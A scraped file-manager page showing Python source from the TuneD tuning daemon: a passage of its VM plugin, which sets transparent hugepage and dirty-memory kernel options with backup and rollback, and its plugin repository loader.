"dirty_bytes" : None, "dirty_ratio" : None, "dirty_background_bytes" : None, "dirty_background_ratio" : None } @staticmethod def _check_conflicting_dirty_options(instance, first, second): if instance.options[first] is not None and instance.options[second] is not None: log.warning("Conflicting options '%s' and '%s', this may cause undefined behavior." % (first, second)) @staticmethod def _proc_sys_vm_option_path(option): return os.path.join("/proc/sys/vm", option) def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False self._check_conflicting_dirty_options(instance, "dirty_bytes", "dirty_ratio") self._check_conflicting_dirty_options(instance, "dirty_background_bytes", "dirty_background_ratio") def _instance_cleanup(self, instance): pass @classmethod def _thp_path(self): path = "/sys/kernel/mm/transparent_hugepage" if not os.path.exists(path): # RHEL-6 support path = "/sys/kernel/mm/redhat_transparent_hugepage" return path @command_set("transparent_hugepages") def _set_transparent_hugepages(self, value, instance, sim, remove): if value not in ["always", "never", "madvise"]: if not sim: log.warning("Incorrect 'transparent_hugepages' value '%s'." % str(value)) return None cmdline = cmd.read_file("/proc/cmdline", no_error = True) if cmdline.find("transparent_hugepage=") > 0: if not sim: log.info("transparent_hugepage is already set in kernel boot cmdline, ignoring value from profile") return None sys_file = os.path.join(self._thp_path(), "enabled") if os.path.exists(sys_file): if not sim: cmd.write_to_file(sys_file, value, \ no_error = [errno.ENOENT] if remove else False) return value else: if not sim: log.warning("Option 'transparent_hugepages' is not supported on current hardware.") return None # just an alias to transparent_hugepages @command_set("transparent_hugepage") def _set_transparent_hugepage(self, value, instance, sim, remove): self._set_transparent_hugepages(value, instance, sim, remove) @command_get("transparent_hugepages") def _get_transparent_hugepages(self, instance): sys_file = os.path.join(self._thp_path(), "enabled") if os.path.exists(sys_file): return cmd.get_active_option(cmd.read_file(sys_file)) else: return None # just an alias to transparent_hugepages @command_get("transparent_hugepage") def _get_transparent_hugepage(self, instance): return self._get_transparent_hugepages(instance) @command_set("transparent_hugepage.defrag") def _set_transparent_hugepage_defrag(self, value, instance, sim, remove): sys_file = os.path.join(self._thp_path(), "defrag") if os.path.exists(sys_file): if not sim: cmd.write_to_file(sys_file, value, \ no_error = [errno.ENOENT] if remove else False) return value else: if not sim: log.warning("Option 'transparent_hugepage.defrag' is not supported on current hardware.") return None @command_get("transparent_hugepage.defrag") def _get_transparent_hugepage_defrag(self, instance): sys_file = os.path.join(self._thp_path(), "defrag") if os.path.exists(sys_file): return cmd.get_active_option(cmd.read_file(sys_file)) else: return None def _check_twice_pagesize(self, option, int_value): min_bytes = 2 * int(cmd.getconf("PAGESIZE")) if int_value < min_bytes: log.error("The value of '%s' must be at least twice the page size (%s)." % (option, min_bytes)) return False return True def _check_positive(self, option, int_value): if int_value <= 0: log.error("The value of '%s' must be positive." % option) return False return True def _check_ratio(self, option, int_value): if not 0 <= int_value <= 100: log.error("The value of '%s' must be between 0 and 100." % option) return False return True @command_custom("dirty_bytes") def _dirty_bytes(self, enabling, value, verify, ignore_missing, instance): if value is not None and value.strip().endswith("%"): return self._dirty_option("dirty_ratio", "dirty_bytes", self._check_ratio, enabling, value.strip().rstrip("%"), verify) return self._dirty_option("dirty_bytes", "dirty_ratio", self._check_twice_pagesize, enabling, value, verify) @command_custom("dirty_ratio") def _dirty_ratio(self, enabling, value, verify, ignore_missing, instance): log.warning("The 'dirty_ratio' option is deprecated and does not support inheritance, use 'dirty_bytes' with '%' instead.") return self._dirty_option("dirty_ratio", "dirty_bytes", self._check_ratio, enabling, value, verify) @command_custom("dirty_background_bytes") def _dirty_background_bytes(self, enabling, value, verify, ignore_missing, instance): if value is not None and value.strip().endswith("%"): return self._dirty_option("dirty_background_ratio", "dirty_background_bytes", self._check_ratio, enabling, value.strip().rstrip("%"), verify) return self._dirty_option("dirty_background_bytes", "dirty_background_ratio", self._check_positive, enabling, value, verify) @command_custom("dirty_background_ratio") def _dirty_background_ratio(self, enabling, value, verify, ignore_missing, instance): log.warning("The 'dirty_background_ratio' option is deprecated and does not support inheritance, use 'dirty_background_bytes' with '%' instead.") return self._dirty_option("dirty_background_ratio", "dirty_background_bytes", self._check_ratio, enabling, value, verify) def _dirty_option(self, option, counterpart, check_fun, enabling, value, verify): option_path = self._proc_sys_vm_option_path(option) counterpart_path = self._proc_sys_vm_option_path(counterpart) option_key = self._storage_key(command_name=option) counterpart_key = self._storage_key(command_name=counterpart) if not os.path.isfile(option_path): log.warning("Option '%s' is not supported on the current hardware." % option) current_value = cmd.read_file(option_path).strip() if verify: return current_value == value if enabling: try: int_value = int(value) except ValueError: log.error("The value of '%s' must be an integer." % option) return None if not check_fun(option, int_value): return None if current_value == value: log.info("Not setting option '%s' to '%s', already set." % (option, value)) return value # Backup: if the option (e.g. dirty_bytes) is currently 0, # its counterpart (dirty_ratio) is the active one, so we # back up that one instead. if int(current_value) == 0: current_counterpart_value = cmd.read_file(counterpart_path).strip() self._storage.set(counterpart_key, current_counterpart_value) else: self._storage.set(option_key, current_value) log.info("Setting option '%s' to '%s'." % (option, value)) cmd.write_to_file(option_path, value) return value # Rollback is analogous to the backup: if there is no backed up # value for this option, it means that its counterpart was active # and we have to restore that one. old_value = self._storage.get(option_key) old_counterpart_value = self._storage.get(counterpart_key) if old_value is not None: log.info("Setting option '%s' to '%s'" % (option, old_value)) cmd.write_to_file(option_path, old_value) elif old_counterpart_value is not None: log.info("Setting option '%s' to '%s'" % (counterpart, old_counterpart_value)) cmd.write_to_file(counterpart_path, old_counterpart_value) else: log.info("Not restoring '%s', previous value is the same or unknown." % option) return None	8.67 KB	2025-08-24 21:48
📄 repository.py from tuned.utils.class_loader import ClassLoader import tuned.plugins.base import tuned.logs log = tuned.logs.get() __all__ = ["Repository"] class Repository(ClassLoader): def __init__(self, monitor_repository, storage_factory, hardware_inventory, device_matcher, device_matcher_udev, plugin_instance_factory, global_cfg, variables): super(Repository, self).__init__() self._plugins = set() self._monitor_repository = monitor_repository self._storage_factory = storage_factory self._hardware_inventory = hardware_inventory self._device_matcher = device_matcher self._device_matcher_udev = device_matcher_udev self._plugin_instance_factory = plugin_instance_factory self._global_cfg = global_cfg self._variables = variables @property def plugins(self): return self._plugins def _set_loader_parameters(self): self._namespace = "tuned.plugins" self._prefix = "plugin_" self._interface = tuned.plugins.base.Plugin def create(self, plugin_name): log.debug("creating plugin %s" % plugin_name) plugin_cls = self.load_class(plugin_name) plugin_instance = plugin_cls(self._monitor_repository, self._storage_factory, self._hardware_inventory, self._device_matcher,\ self._device_matcher_udev, self._plugin_instance_factory, self._global_cfg, self._variables) self._plugins.add(plugin_instance) return plugin_instance def delete(self, plugin): assert isinstance(plugin, self._interface) log.debug("removing plugin %s" % plugin) plugin.cleanup() self._plugins.remove(plugin)	1.49 KB	2025-08-24 21:48

Edit File:

Terminal